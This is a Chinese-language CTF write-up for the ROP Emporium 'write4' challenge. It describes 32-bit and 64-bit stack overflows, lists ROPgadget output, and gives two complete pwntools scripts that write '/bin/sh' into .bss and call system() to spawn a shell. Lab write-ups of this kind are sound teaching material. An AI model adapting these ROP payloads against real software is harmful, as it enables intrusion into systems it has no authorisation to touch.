write4

作者: 杰_74 | 来源:发表于2019-08-10 14:04 被阅读0次

    ropemporium上的链接
    https://ropemporium.com/

    32位

    checksec后试运行


    32位ida


    main函数
    pwnme函数

    发现栈溢出漏洞

    再次发现usefulFunction,找到system在plt地址为0x08048430,但是参数不对



    shift+F12找字符串,发现没有想要的


    那我们就试着把"sh"写进去bss段(好像说data段也行),因为32位是4个字节,不能一次性传入/bin/sh,当然也可以传入/bin/sh,只是要分两次,可以参考
    https://www.jianshu.com/p/d385e23b2a94
    https://www.jianshu.com/p/d1059b77d018

    ida里ctrl+s可以查看data段和bss段的权限


    终端时输入命令

    ROPgadget --binary write432 --only "mov|pop|ret"


    用ROPgadget找到了两条指令

    0x08048670 : mov dword ptr [edi], ebp ; ret
    0x080486da : pop edi ; pop ebp ; ret

    第一条指令 edi 存的是bss 段的地址,ebp 存的是要写入的数据
    第二条指令是指将 ebp 中的内容写到 edi 内存的所在地址

    脚本如下

    #coding=utf8
    from pwn import *
    #context.log_level = 'debug'
    elf = ELF('./write432')
    p = process('./write432')
    
    system_plt = 0x08048430#system_plt = elf.plt['system']
    bss = 0x0804A040#bss = elf.bss()
    pop_edi_ebp = 0x080486da
    mov_edi_ebp = 0x08048670
    
    payload = ''
    payload += 0x28*'A'
    payload += p32(0)
    payload += p32(pop_edi_ebp)
    payload += p32(bss)
    payload += 'sh\x00\x00'
    payload += p32(mov_edi_ebp)
    payload += p32(system_plt)
    payload += p32(0xdeadbeef)
    payload += p32(bss)
    
    p.sendline(payload)
    p.interactive()
    
    成功

    64位

    64位大同小异
    输入命令

    ROPgadget --binary write4 --only "mov|pop|ret"

    我们选用这两条指令,同时控制r14和r15

    0x0000000000400820 : mov qword ptr [r14], r15 ; ret
    0x0000000000400890 : pop r14 ; pop r15 ; ret

    还要用到pop rdi;ret;

    0x0000000000400893 : pop rdi ; ret

    脚本如下

    #coding=utf8
    from pwn import *
    #context.log_level = 'debug'
    elf = ELF('./write4')
    p = process('./write4')
    
    system_plt = elf.plt['system']
    bss = elf.bss()
    pop_r14_r15 = 0x400890
    mov_r14_r15 = 0x400820
    pop_rdi = 0x400893
    
    payload = ''
    payload += 0x20*'A'
    payload += p64(0)
    payload += p64(pop_r14_r15)
    payload += p64(bss)
    payload += '/bin/sh\x00'
    payload += p64(mov_r14_r15)
    payload += p64(pop_rdi)
    payload += p64(bss)
    payload += p64(system_plt)
    
    p.sendline(payload)
    p.interactive()
    
    成功

    相关文章

      网友评论

          本文标题:write4

          本文链接:https://www.haomeiwen.com/subject/meyljctx.html